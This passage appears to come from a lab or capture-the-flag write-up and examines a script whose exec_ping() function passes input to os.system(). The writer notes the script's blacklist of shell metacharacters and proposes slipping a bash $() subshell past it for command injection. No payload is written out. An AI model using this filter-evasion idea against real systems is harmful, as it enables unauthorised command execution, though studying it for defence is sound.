exit()This appears to be a custom script designed to detect and mitigate potential threats from SQLi
The script has this exec_ping() function that uses the os.sysetm() call
I see the blacklist of characters, &,;,-, ||, |. They are probably for preventing OS command injection.
but I think that I can work around it by slipping in a bash sub shell ($()) in it
Testing for Command Injection
